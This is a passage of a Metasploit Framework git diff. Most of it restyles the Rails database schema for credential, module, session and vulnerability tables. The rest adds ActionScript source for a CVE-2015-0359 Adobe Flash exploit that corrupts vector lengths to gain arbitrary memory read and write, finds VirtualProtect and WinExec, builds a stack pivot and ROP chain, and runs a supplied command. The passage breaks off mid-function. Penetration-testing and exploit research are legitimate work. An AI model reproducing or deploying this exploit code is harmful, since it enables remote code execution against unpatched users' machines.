"metasploit_credential_cores", ["workspace_id"], :name => "index_metasploit_credential_cores_on_workspace_id" + add_index "metasploit_credential_cores", ["origin_type", "origin_id"], name: "index_metasploit_credential_cores_on_origin_type_and_origin_id", using: :btree + add_index "metasploit_credential_cores", ["private_id"], name: "index_metasploit_credential_cores_on_private_id", using: :btree + add_index "metasploit_credential_cores", ["public_id"], name: "index_metasploit_credential_cores_on_public_id", using: :btree + add_index "metasploit_credential_cores", ["realm_id"], name: "index_metasploit_credential_cores_on_realm_id", using: :btree + add_index "metasploit_credential_cores", ["workspace_id", "private_id"], name: "unique_private_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NULL)) AND (private_id IS NOT NULL))", using: :btree + add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], name: "unique_realmless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NOT NULL)) AND (private_id IS NOT NULL))", using: :btree + add_index "metasploit_credential_cores", ["workspace_id", "public_id"], name: "unique_public_metasploit_credential_cores", unique: true, where: "(((realm_id IS NULL) AND (public_id IS NOT NULL)) AND (private_id IS NULL))", using: :btree + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], name: "unique_publicless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NULL)) AND (private_id IS NOT NULL))", using: :btree + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], name: "unique_complete_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NOT NULL)) AND (private_id IS NOT NULL))", using: :btree + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], name: "unique_privateless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NOT NULL)) AND (private_id IS NULL))", using: :btree + add_index "metasploit_credential_cores", ["workspace_id"], name: "index_metasploit_credential_cores_on_workspace_id", using: :btree - create_table "metasploit_credential_logins", :force => true do |t| - t.integer "core_id", :null => false - t.integer "service_id", :null => false + create_table "metasploit_credential_logins", force: true do |t| + t.integer "core_id", null: false + t.integer "service_id", null: false t.string "access_level" - t.string "status", :null => false + t.string "status", null: false t.datetime "last_attempted_at" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true - add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true + add_index "metasploit_credential_logins", ["core_id", "service_id"], name: "index_metasploit_credential_logins_on_core_id_and_service_id", unique: true, using: :btree + add_index "metasploit_credential_logins", ["service_id", "core_id"], name: "index_metasploit_credential_logins_on_service_id_and_core_id", unique: true, using: :btree - create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t| - t.integer "metasploit_credential_core_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "metasploit_credential_origin_cracked_passwords", force: true do |t| + t.integer "metasploit_credential_core_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores" + add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], name: "originating_credential_cores", using: :btree - create_table "metasploit_credential_origin_imports", :force => true do |t| - t.text "filename", :null => false + create_table "metasploit_credential_origin_imports", force: true do |t| + t.text "filename", null: false t.integer "task_id" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "metasploit_credential_origin_imports", ["task_id"], :name => "index_metasploit_credential_origin_imports_on_task_id" + add_index "metasploit_credential_origin_imports", ["task_id"], name: "index_metasploit_credential_origin_imports_on_task_id", using: :btree - create_table "metasploit_credential_origin_manuals", :force => true do |t| - t.integer "user_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "metasploit_credential_origin_manuals", force: true do |t| + t.integer "user_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "metasploit_credential_origin_manuals", ["user_id"], :name => "index_metasploit_credential_origin_manuals_on_user_id" + add_index "metasploit_credential_origin_manuals", ["user_id"], name: "index_metasploit_credential_origin_manuals_on_user_id", using: :btree - create_table "metasploit_credential_origin_services", :force => true do |t| - t.integer "service_id", :null => false - t.text "module_full_name", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "metasploit_credential_origin_services", force: true do |t| + t.integer "service_id", null: false + t.text "module_full_name", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], :name => "unique_metasploit_credential_origin_services", :unique => true + add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], name: "unique_metasploit_credential_origin_services", unique: true, using: :btree - create_table "metasploit_credential_origin_sessions", :force => true do |t| - t.text "post_reference_name", :null => false - t.integer "session_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "metasploit_credential_origin_sessions", force: true do |t| + t.text "post_reference_name", null: false + t.integer "session_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], :name => "unique_metasploit_credential_origin_sessions", :unique => true + add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], name: "unique_metasploit_credential_origin_sessions", unique: true, using: :btree - create_table "metasploit_credential_privates", :force => true do |t| - t.string "type", :null => false - t.text "data", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "metasploit_credential_privates", force: true do |t| + t.string "type", null: false + t.text "data", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.string "jtr_format" end - add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true + add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree - create_table "metasploit_credential_publics", :force => true do |t| - t.string "username", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.string "type", :null => false + create_table "metasploit_credential_publics", force: true do |t| + t.string "username", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.string "type", null: false end - add_index "metasploit_credential_publics", ["username"], :name => "index_metasploit_credential_publics_on_username", :unique => true + add_index "metasploit_credential_publics", ["username"], name: "index_metasploit_credential_publics_on_username", unique: true, using: :btree - create_table "metasploit_credential_realms", :force => true do |t| - t.string "key", :null => false - t.string "value", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "metasploit_credential_realms", force: true do |t| + t.string "key", null: false + t.string "value", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "metasploit_credential_realms", ["key", "value"], :name => "index_metasploit_credential_realms_on_key_and_value", :unique => true + add_index "metasploit_credential_realms", ["key", "value"], name: "index_metasploit_credential_realms_on_key_and_value", unique: true, using: :btree - create_table "mod_refs", :force => true do |t| - t.string "module", :limit => 1024 - t.string "mtype", :limit => 128 + create_table "mod_refs", force: true do |t| + t.string "module", limit: 1024 + t.string "mtype", limit: 128 t.text "ref" end - create_table "module_actions", :force => true do |t| + create_table "module_actions", force: true do |t| t.integer "detail_id" t.text "name" end - add_index "module_actions", ["detail_id"], :name => "index_module_actions_on_module_detail_id" + add_index "module_actions", ["detail_id"], name: "index_module_actions_on_detail_id", using: :btree - create_table "module_archs", :force => true do |t| + create_table "module_archs", force: true do |t| t.integer "detail_id" t.text "name" end - add_index "module_archs", ["detail_id"], :name => "index_module_archs_on_module_detail_id" + add_index "module_archs", ["detail_id"], name: "index_module_archs_on_detail_id", using: :btree - create_table "module_authors", :force => true do |t| + create_table "module_authors", force: true do |t| t.integer "detail_id" t.text "name" t.text "email" end - add_index "module_authors", ["detail_id"], :name => "index_module_authors_on_module_detail_id" + add_index "module_authors", ["detail_id"], name: "index_module_authors_on_detail_id", using: :btree - create_table "module_details", :force => true do |t| + create_table "module_details", force: true do |t| t.datetime "mtime" t.text "file" t.string "mtype" @@ -383,34 +386,34 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.boolean "ready" end - add_index "module_details", ["description"], :name => "index_module_details_on_description" - add_index "module_details", ["mtype"], :name => "index_module_details_on_mtype" - add_index "module_details", ["name"], :name => "index_module_details_on_name" - add_index "module_details", ["refname"], :name => "index_module_details_on_refname" + add_index "module_details", ["description"], name: "index_module_details_on_description", using: :btree + add_index "module_details", ["mtype"], name: "index_module_details_on_mtype", using: :btree + add_index "module_details", ["name"], name: "index_module_details_on_name", using: :btree + add_index "module_details", ["refname"], name: "index_module_details_on_refname", using: :btree - create_table "module_mixins", :force => true do |t| + create_table "module_mixins", force: true do |t| t.integer "detail_id" t.text "name" end - add_index "module_mixins", ["detail_id"], :name => "index_module_mixins_on_module_detail_id" + add_index "module_mixins", ["detail_id"], name: "index_module_mixins_on_detail_id", using: :btree - create_table "module_platforms", :force => true do |t| + create_table "module_platforms", force: true do |t| t.integer "detail_id" t.text "name" end - add_index "module_platforms", ["detail_id"], :name => "index_module_platforms_on_module_detail_id" + add_index "module_platforms", ["detail_id"], name: "index_module_platforms_on_detail_id", using: :btree - create_table "module_refs", :force => true do |t| + create_table "module_refs", force: true do |t| t.integer "detail_id" t.text "name" end - add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id" - add_index "module_refs", ["name"], :name => "index_module_refs_on_name" + add_index "module_refs", ["detail_id"], name: "index_module_refs_on_detail_id", using: :btree + add_index "module_refs", ["name"], name: "index_module_refs_on_name", using: :btree - create_table "module_runs", :force => true do |t| + create_table "module_runs", force: true do |t| t.datetime "attempted_at" t.text "fail_detail" t.string "fail_reason" @@ -423,28 +426,28 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.string "trackable_type" t.integer "user_id" t.string "username" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id" - add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id" + add_index "module_runs", ["session_id"], name: "index_module_runs_on_session_id", using: :btree + add_index "module_runs", ["user_id"], name: "index_module_runs_on_user_id", using: :btree - create_table "module_targets", :force => true do |t| + create_table "module_targets", force: true do |t| t.integer "detail_id" t.integer "index" t.text "name" end - add_index "module_targets", ["detail_id"], :name => "index_module_targets_on_module_detail_id" + add_index "module_targets", ["detail_id"], name: "index_module_targets_on_detail_id", using: :btree - create_table "nexpose_consoles", :force => true do |t| - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.boolean "enabled", :default => true + create_table "nexpose_consoles", force: true do |t| + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.boolean "enabled", default: true t.text "owner" t.text "address" - t.integer "port", :default => 3780 + t.integer "port", default: 3780 t.text "username" t.text "password" t.text "status" @@ -454,10 +457,10 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.text "name" end - create_table "notes", :force => true do |t| + create_table "notes", force: true do |t| t.datetime "created_at" - t.string "ntype", :limit => 512 - t.integer "workspace_id", :default => 1, :null => false + t.string "ntype", limit: 512 + t.integer "workspace_id", default: 1, null: false t.integer "service_id" t.integer "host_id" t.datetime "updated_at" @@ -467,73 +470,73 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.integer "vuln_id" end - add_index "notes", ["ntype"], :name => "index_notes_on_ntype" - add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id" + add_index "notes", ["ntype"], name: "index_notes_on_ntype", using: :btree + add_index "notes", ["vuln_id"], name: "index_notes_on_vuln_id", using: :btree - create_table "profiles", :force => true do |t| - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.boolean "active", :default => true + create_table "profiles", force: true do |t| + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.boolean "active", default: true t.text "name" t.text "owner" t.binary "settings" end - create_table "refs", :force => true do |t| + create_table "refs", force: true do |t| t.integer "ref_id" t.datetime "created_at" - t.string "name", :limit => 512 + t.string "name", limit: 512 t.datetime "updated_at" end - add_index "refs", ["name"], :name => "index_refs_on_name" + add_index "refs", ["name"], name: "index_refs_on_name", using: :btree - create_table "report_templates", :force => true do |t| - t.integer "workspace_id", :default => 1, :null => false + create_table "report_templates", force: true do |t| + t.integer "workspace_id", default: 1, null: false t.string "created_by" - t.string "path", :limit => 1024 + t.string "path", limit: 1024 t.text "name" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - create_table "reports", :force => true do |t| - t.integer "workspace_id", :default => 1, :null => false + create_table "reports", force: true do |t| + t.integer "workspace_id", default: 1, null: false t.string "created_by" t.string "rtype" - t.string "path", :limit => 1024 + t.string "path", limit: 1024 t.text "options" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.datetime "downloaded_at" t.integer "task_id" - t.string "name", :limit => 63 + t.string "name", limit: 63 end - create_table "routes", :force => true do |t| + create_table "routes", force: true do |t| t.integer "session_id" t.string "subnet" t.string "netmask" end - create_table "services", :force => true do |t| + create_table "services", force: true do |t| t.integer "host_id" t.datetime "created_at" - t.integer "port", :null => false - t.string "proto", :limit => 16, :null => false + t.integer "port", null: false + t.string "proto", limit: 16, null: false t.string "state" t.string "name" t.datetime "updated_at" t.text "info" end - add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true - add_index "services", ["name"], :name => "index_services_on_name" - add_index "services", ["port"], :name => "index_services_on_port" - add_index "services", ["proto"], :name => "index_services_on_proto" - add_index "services", ["state"], :name => "index_services_on_state" + add_index "services", ["host_id", "port", "proto"], name: "index_services_on_host_id_and_port_and_proto", unique: true, using: :btree + add_index "services", ["name"], name: "index_services_on_name", using: :btree + add_index "services", ["port"], name: "index_services_on_port", using: :btree + add_index "services", ["proto"], name: "index_services_on_proto", using: :btree + add_index "services", ["state"], name: "index_services_on_state", using: :btree - create_table "session_events", :force => true do |t| + create_table "session_events", force: true do |t| t.integer "session_id" t.string "etype" t.binary "command" @@ -543,7 +546,7 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.datetime "created_at" end - create_table "sessions", :force => true do |t| + create_table "sessions", force: true do |t| t.integer "host_id" t.string "stype" t.string "via_exploit" @@ -552,7 +555,7 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.integer "port" t.string "platform" t.text "datastore" - t.datetime "opened_at", :null => false + t.datetime "opened_at", null: false t.datetime "closed_at" t.string "close_reason" t.integer "local_id" @@ -560,81 +563,81 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.integer "module_run_id" end - add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id" + add_index "sessions", ["module_run_id"], name: "index_sessions_on_module_run_id", using: :btree - create_table "tags", :force => true do |t| + create_table "tags", force: true do |t| t.integer "user_id" - t.string "name", :limit => 1024 + t.string "name", limit: 1024 t.text "desc" - t.boolean "report_summary", :default => false, :null => false - t.boolean "report_detail", :default => false, :null => false - t.boolean "critical", :default => false, :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.boolean "report_summary", default: false, null: false + t.boolean "report_detail", default: false, null: false + t.boolean "critical", default: false, null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - create_table "task_creds", :force => true do |t| - t.integer "task_id", :null => false - t.integer "cred_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "task_creds", force: true do |t| + t.integer "task_id", null: false + t.integer "cred_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - create_table "task_hosts", :force => true do |t| - t.integer "task_id", :null => false - t.integer "host_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "task_hosts", force: true do |t| + t.integer "task_id", null: false + t.integer "host_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - create_table "task_services", :force => true do |t| - t.integer "task_id", :null => false - t.integer "service_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "task_services", force: true do |t| + t.integer "task_id", null: false + t.integer "service_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - create_table "task_sessions", :force => true do |t| - t.integer "task_id", :null => false - t.integer "session_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "task_sessions", force: true do |t| + t.integer "task_id", null: false + t.integer "session_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false end - create_table "tasks", :force => true do |t| - t.integer "workspace_id", :default => 1, :null => false + create_table "tasks", force: true do |t| + t.integer "workspace_id", default: 1, null: false t.string "created_by" t.string "module" t.datetime "completed_at" - t.string "path", :limit => 1024 + t.string "path", limit: 1024 t.string "info" t.string "description" t.integer "progress" t.text "options" t.text "error" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.text "result" - t.string "module_uuid", :limit => 8 + t.string "module_uuid", limit: 8 t.binary "settings" end - create_table "users", :force => true do |t| + create_table "users", force: true do |t| t.string "username" t.string "crypted_password" t.string "password_salt" t.string "persistence_token" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.string "fullname" t.string "email" t.string "phone" t.string "company" - t.string "prefs", :limit => 524288 - t.boolean "admin", :default => true, :null => false + t.string "prefs", limit: 524288 + t.boolean "admin", default: true, null: false end - create_table "vuln_attempts", :force => true do |t| + create_table "vuln_attempts", force: true do |t| t.integer "vuln_id" t.datetime "attempted_at" t.boolean "exploited" @@ -646,7 +649,7 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.text "fail_detail" end - create_table "vuln_details", :force => true do |t| + create_table "vuln_details", force: true do |t| t.integer "vuln_id" t.float "cvss_score" t.string "cvss_vector" @@ -671,44 +674,44 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.string "nx_pci_compliance_status" end - create_table "vulns", :force => true do |t| + create_table "vulns", force: true do |t| t.integer "host_id" t.integer "service_id" t.datetime "created_at" t.string "name" t.datetime "updated_at" - t.string "info", :limit => 65536 + t.string "info", limit: 65536 t.datetime "exploited_at" - t.integer "vuln_detail_count", :default => 0 - t.integer "vuln_attempt_count", :default => 0 + t.integer "vuln_detail_count", default: 0 + t.integer "vuln_attempt_count", default: 0 end - add_index "vulns", ["name"], :name => "index_vulns_on_name" + add_index "vulns", ["name"], name: "index_vulns_on_name", using: :btree - create_table "vulns_refs", :force => true do |t| + create_table "vulns_refs", force: true do |t| t.integer "ref_id" t.integer "vuln_id" end - create_table "web_forms", :force => true do |t| - t.integer "web_site_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "web_forms", force: true do |t| + t.integer "web_site_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.text "path" - t.string "method", :limit => 1024 + t.string "method", limit: 1024 t.text "params" t.text "query" end - add_index "web_forms", ["path"], :name => "index_web_forms_on_path" + add_index "web_forms", ["path"], name: "index_web_forms_on_path", using: :btree - create_table "web_pages", :force => true do |t| - t.integer "web_site_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + create_table "web_pages", force: true do |t| + t.integer "web_site_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false t.text "path" t.text "query" - t.integer "code", :null => false + t.integer "code", null: false t.text "cookie" t.text "auth" t.text "ctype" @@ -719,67 +722,67 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.binary "request" end - add_index "web_pages", ["path"], :name => "index_web_pages_on_path" - add_index "web_pages", ["query"], :name => "index_web_pages_on_query" + add_index "web_pages", ["path"], name: "index_web_pages_on_path", using: :btree + add_index "web_pages", ["query"], name: "index_web_pages_on_query", using: :btree - create_table "web_sites", :force => true do |t| - t.integer "service_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.string "vhost", :limit => 2048 + create_table "web_sites", force: true do |t| + t.integer "service_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.string "vhost", limit: 2048 t.text "comments" t.text "options" end - add_index "web_sites", ["comments"], :name => "index_web_sites_on_comments" - add_index "web_sites", ["options"], :name => "index_web_sites_on_options" - add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost" + add_index "web_sites", ["comments"], name: "index_web_sites_on_comments", using: :btree + add_index "web_sites", ["options"], name: "index_web_sites_on_options", using: :btree + add_index "web_sites", ["vhost"], name: "index_web_sites_on_vhost", using: :btree - create_table "web_vulns", :force => true do |t| - t.integer "web_site_id", :null => false - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.text "path", :null => false - t.string "method", :limit => 1024, :null => false - t.text "params", :null => false + create_table "web_vulns", force: true do |t| + t.integer "web_site_id", null: false + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.text "path", null: false + t.string "method", limit: 1024, null: false + t.text "params", null: false t.text "pname" - t.integer "risk", :null => false - t.string "name", :limit => 1024, :null => false + t.integer "risk", null: false + t.string "name", limit: 1024, null: false t.text "query" - t.text "category", :null => false - t.integer "confidence", :null => false + t.text "category", null: false + t.integer "confidence", null: false t.text "description" t.text "blame" t.binary "request" - t.binary "proof", :null => false + t.binary "proof", null: false t.string "owner" t.text "payload" end - add_index "web_vulns", ["method"], :name => "index_web_vulns_on_method" - add_index "web_vulns", ["name"], :name => "index_web_vulns_on_name" - add_index "web_vulns", ["path"], :name => "index_web_vulns_on_path" + add_index "web_vulns", ["method"], name: "index_web_vulns_on_method", using: :btree + add_index "web_vulns", ["name"], name: "index_web_vulns_on_name", using: :btree + add_index "web_vulns", ["path"], name: "index_web_vulns_on_path", using: :btree - create_table "wmap_requests", :force => true do |t| + create_table "wmap_requests", force: true do |t| t.string "host" - t.string "address", :limit => nil + t.inet "address" t.integer "port" t.integer "ssl" - t.string "meth", :limit => 32 + t.string "meth", limit: 32 t.text "path" t.text "headers" t.text "query" t.text "body" - t.string "respcode", :limit => 16 + t.string "respcode", limit: 16 t.text "resphead" t.text "response" t.datetime "created_at" t.datetime "updated_at" end - create_table "wmap_targets", :force => true do |t| + create_table "wmap_targets", force: true do |t| t.string "host" - t.string "address", :limit => nil + t.inet "address" t.integer "port" t.integer "ssl" t.integer "selected" @@ -787,19 +790,19 @@ ActiveRecord::Schema.define(:version => 20150326183742) do t.datetime "updated_at" end - create_table "workspace_members", :id => false, :force => true do |t| - t.integer "workspace_id", :null => false - t.integer "user_id", :null => false + create_table "workspace_members", id: false, force: true do |t| + t.integer "workspace_id", null: false + t.integer "user_id", null: false end - create_table "workspaces", :force => true do |t| + create_table "workspaces", force: true do |t| t.string "name" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false - t.string "boundary", :limit => 4096 - t.string "description", :limit => 4096 + t.datetime "created_at", null: false + t.datetime "updated_at", null: false + t.string "boundary", limit: 4096 + t.string "description", limit: 4096 t.integer "owner_id" - t.boolean "limit_to_network", :default => false, :null => false + t.boolean "limit_to_network", default: false, null: false end end diff --git a/external/source/exploits/CVE-2015-0359/Msf.as b/external/source/exploits/CVE-2015-0359/Msf.as new file mode 100755 index 0000000000..1bf0cd1947 --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/Msf.as @@ -0,0 +1,261 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Be support to support 16.0 as target-player (flex-config.xml). +// 3. Download the Flex SDK (4.6) +// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Msf.as + +// Original code by @hdarwin89 modified to be used from msf +// https://git.hacklab.kr/snippets/13 +// http://pastebin.com/Wj3NViUu + +package +{ + import flash.display.Sprite + import flash.events.Event + import flash.utils.ByteArray + import flash.system.Worker + import flash.system.WorkerDomain + import flash.system.MessageChannel + import flash.system.ApplicationDomain + import avm2.intrinsics.memory.casi32 + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Msf extends Sprite + { + private var ov:Vector. = new Vector.(25600) + private var uv:Vector. = new Vector. + private var ba:ByteArray = new ByteArray() + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var b64:Base64Decoder = new Base64Decoder() + private var payload:String = "" + private var worker:Worker + private var mc:MessageChannel + + public function Msf() + { + if (Worker.current.isPrimordial) mainThread() + else workerThread() + } + + private function mainThread():void + { + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + payload = b64.toByteArray().toString() + ba.length = 0x1000 + ba.shareable = true + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = ba + ov[i][1] = this + ov[i][2] = stack + ov[i][3] = payload_space + } + for (i = 0; i < ov.length; i += 2) delete(ov[i]) + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) + mc = worker.createMessageChannel(Worker.current) + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) + worker.setSharedProperty("mc", mc) + worker.setSharedProperty("ba", ba) + ApplicationDomain.currentDomain.domainMemory = ba + worker.start() + } + + private function workerThread():void + { + var ba:ByteArray = Worker.current.getSharedProperty("ba") + var mc:MessageChannel = Worker.current.getSharedProperty("mc") + var tmp:ByteArray = new ByteArray() + tmp.length = 0x2000 + + for (var i:uint = 0; i < 20; i++) { + new Vector.(1022) + } + + ba.writeBytes(tmp) + ov[0] = new Vector.(1022) + + mc.send("") + while (mc.messageAvailable); + + // Vector length corruption didn't work, aborting... + if (ov[0].length != 0xffffffff) { + return + } + + // Bad memory layout :( restoring length, and aborting... + if (ov[0][0x407] != 0x3f6) { + ov[0][0x3ffffffe] = 1022 + return + } + + ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 + var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) //+ 0x100000 + var main:uint = ov[0][0x409] - 1 + var stack_object:uint = ov[0][0x40a] - 1 + var payload_space_object:uint = ov[0][0x40b] - 1 + var vtable:uint = vector_read(main) + var stack_address:uint = vector_read(stack_object + 0x18) as uint + var payload_address:uint = vector_read(payload_space_object + 0x18) as uint + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) + mc.send(buffer.toString() + "/" + main.toString() + "/" + vtable.toString() + "/" + stack_address.toString() + "/" + payload_address.toString()) + } + + private function onMessage(e:Event):void + { + casi32(0, 1022, 0xFFFFFFFF) + if (ba.length != 0xffffffff) mc.receive() + else { + // Restoring vector length + var res:uint = casi32(0, 0xffffffff, 1022) + if (res != 0xffffffff) { // Something has been wrong... aborting + return + } + ba.endian = "littleEndian" + var data:Array = (mc.receive() as String).split("/") + var buffer:uint = parseInt(data[0]) as uint + var main:uint = parseInt(data[1]) as uint + var vtable:uint = parseInt(data[2]) as uint + var stack_address:uint = parseInt(data[3]) as uint + var payload_address:uint = parseInt(data[4]) as uint + var flash:uint = base(vtable) + var winmm:uint = module("winmm.dll", flash) + var kernel32:uint = module("kernel32.dll", winmm) + var virtualprotect:uint = procedure("VirtualProtect", kernel32) + var winexec:uint = procedure("WinExec", kernel32) + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) + + // Continuation of execution + byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main + byte_write(0, "\x89\x03", false) // mov [ebx], eax + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + byte_write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + byte_write(0, virtualprotect) + + // VirtualProtect + byte_write(0, winexec) + byte_write(0, buffer + 0x10) + byte_write(0, 0x1000) + byte_write(0, 0x40) + byte_write(0, buffer + 0x8) // Writable address (4 bytes) + + // WinExec + byte_write(0, buffer + 0x10) + byte_write(0, payload_address + 8) + byte_write(0) + + byte_write(main, stack_address + 0x18000) // overwrite with fake vtable + + toString() // call method in the fake vtable + } + } + + private function vector_write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > ov[0][0]) { + pos = ((addr - ov[0][0]) / 4) - 2 + } else { + pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1 + } + + ov[0][pos] = value + } + + private function vector_read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > ov[0][0]) { + pos = ((addr - ov[0][0]) / 4) - 2 + } else { + pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1 + } + + return ov[0][pos] + } + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return 